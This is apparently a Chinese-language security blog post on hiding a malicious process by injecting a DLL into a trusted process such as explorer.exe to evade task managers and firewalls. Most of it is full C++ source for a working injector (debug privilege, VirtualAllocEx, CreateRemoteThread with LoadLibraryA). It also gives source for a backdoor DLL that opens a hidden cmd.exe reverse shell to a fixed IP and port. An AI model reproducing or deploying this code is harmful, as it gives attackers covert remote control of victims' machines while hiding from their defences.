安全之路 —— 利用遠程線程註入的方法(使用DLL)實現穿墻與隱藏進程
阿新 • • 發佈:2018-08-24
pat 完整路徑 ystemd return cpi printf output inf server
簡介
大多數後門或病毒要想初步實現隱藏進程,即不被像任務管理器這樣典型的RING3級進程管理器找到過於明顯的不明進程,其中比較著名的方法就是通過遠程線程註入的方法註入將惡意進程的DLL文件註入系統認可的正常進程,你會發現任務管理器以及找不到獨立出現的惡意進程項了。反向連接型後門采用這種技術,註入防火墻認可的進程(例如大部分系統進程,像explorer.exe就很常見)還能夠獲得一定的穿墻效果。
進程註入雖然已經是將近10年前的技術了,但是今天出現的很多新型黑客技術大多數還是基於這類老技術演變而來的。
C++代碼樣例
1.進程註入工具源碼:
////////////////////////////////////// // // FileName : injectDll.cpp // Creator : PeterZ1997 // Date : 2018-5-15 23:58 // Comment : DLL inject module // ////////////////////////////////////// #pragma once #include <iostream> #include <cstdio> #include <cstdlib> #include <cstring> #include <strsafe.h> #include <windows.h> #include <tlhelp32.h> using namespace std; #define MAX_COUNT 255 /** * @brief 提高進程權限 * @param name 權限名 */ BOOL EnableDebugPriv(LPCSTR name) { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tp; // 打開進程令牌 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { printf("[!]Get Process Token Error!\n"); return false; } // 獲取權限Luid if (!LookupPrivilegeValue(NULL, name, &luid)) { printf("[!]Get Privilege Error!\n"); return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 修改進程權限 if (!AdjustTokenPrivileges(hToken, false, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { printf("[!]Adjust Privilege Error!\n"); return false; } return true; } /** * @brief 進程註入函數 * @param pid 進程id * @param dllFileName DLL文件的完整路徑 */ BOOL InjectDllProc(DWORD pid, LPCTSTR dllFileName) { HANDLE hRemoteProcess; CHAR *pszDllSpace; if (!EnableDebugPriv(SE_DEBUG_NAME)) { return false; } if ((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL) { printf("[!]Open Target Process Error!\n"); return false; } if ((pszDllSpace = (CHAR*)VirtualAllocEx(hRemoteProcess, NULL, strlen(dllFileName) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) { printf("[!]Alloc Space Error!\n"); return false; } if (WriteProcessMemory(hRemoteProcess, pszDllSpace, (LPVOID)dllFileName, strlen(dllFileName) + 1, NULL) == 0) { printf("[!]Write to the Memory Error!\n"); return false; } PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA"); if (pfnStartAddr == NULL) { printf("[!]Get <LoadLibrary> Function Error!\n"); return false; } HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszDllSpace, 0, NULL); if (hRemoteThread == NULL) { printf("[!]Create Remote Thread Error!\n"); return false; } return true; } /** * @brief 獲取進程id * @param procName 進程名 */ DWORD GetProcPid(LPCSTR procName) { DWORD pid = 0; PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); HANDLE hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcSnap == INVALID_HANDLE_VALUE) { printf("[!]Can not Create Process Snap !\n"); return -1; } BOOL bProc = Process32First(hProcSnap, &pe32); while (bProc) { if (!stricmp(procName, pe32.szExeFile)) { return pe32.th32ProcessID; } bProc = Process32Next(hProcSnap, &pe32); } CloseHandle(hProcSnap); return pid; } /** * @brief 主函數 */ int main(int argc, char* argv[]) { CHAR dllPath[MAX_COUNT] = "\0"; WIN32_FIND_DATA wfd; if (argc != 3) { printf("[*Usage*] injectDll.exe <Process Name> <Dll Name>\n"); return 0; } GetCurrentDirectory(sizeof(dllPath), dllPath); StringCchCat(dllPath, sizeof(dllPath), "\\"); StringCchCat(dllPath, sizeof(dllPath), argv[2]); if (FindFirstFile(argv[2], &wfd) == INVALID_HANDLE_VALUE) { printf("[!] Can not Find Dll File !\n"); return 0; } DWORD pid = GetProcPid(argv[1]); if (pid != -1) { if (!InjectDllProc(pid, dllPath)) { printf("[!]Inject Dll Error!\n"); return 0; } printf("[*]Inject Dll Success!\n"); } else { printf("[*]Inject Dll Error!\n"); return 0; } return 0; }
2.Dll文件樣例源碼:
///////////////////////////////////////////// // // FileName : BackDoorDLL.cpp // Creator : PeterZ1997 // Date : 2018-5-11 00:10 // Comment : 零管道後門DLL // //////////////////////////////////////////// #pragma once #include <iostream> #include <cstdio> #include <cstdlib> #include <cstring> #include <strsafe.h> #include <WinSock2.h> #include <windows.h> #pragma comment(lib, "ws2_32") using namespace std; #define MAX_COUNT 255 /** * @brief 啟動Cmd進程,與socket實例通信 * @param lpParameter 多線程函數參數,此為傳入socket實例 */ DWORD WINAPI StartShellProc(LPVOID lpParameter) { CHAR cmdLine[MAX_COUNT] = "\0"; SOCKET sServer = (SOCKET)lpParameter; STARTUPINFO si; GetStartupInfo(&si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sServer; GetSystemDirectory(cmdLine, sizeof(cmdLine)); StringCchCat(cmdLine, sizeof(cmdLine), "\\cmd.exe"); PROCESS_INFORMATION pi; CreateProcess(NULL, cmdLine, NULL, NULL, true, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); return 0; } /** * @brief socket建立函數 * @param lpParameter 多線程函數參數,這裏傳入NULL */ DWORD WINAPI BackDoorThread(LPVOID lpParameter) { CHAR szMessage[MAX_COUNT] = "===========> Hello,Admin <=============\n"; WSADATA wsd; SOCKET sServer; sockaddr_in sin; if (WSAStartup(0x0202, &wsd)) return 0; if ((sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) == INVALID_SOCKET) { return 0; } sin.sin_family = AF_INET; sin.sin_port = htons(45000); sin.sin_addr.S_un.S_addr = inet_addr("192.168.120.1"); if (connect(sServer, (sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR) { return 0; } if (send(sServer, szMessage, strlen(szMessage), 0) == SOCKET_ERROR) { return 0; } HANDLE hThread = CreateThread(NULL, 0, StartShellProc, (LPVOID)sServer, 0, NULL); WaitForSingleObject(hThread, INFINITE); return 0; } /** * @brief DLL文件主函數 */ BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ) { switch (fdwReason) { case DLL_PROCESS_ATTACH: CreateThread(NULL, 0, BackDoorThread, NULL, 0, NULL); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return true; }
安全之路 —— 利用遠程線程註入的方法(使用DLL)實現穿墻與隱藏進程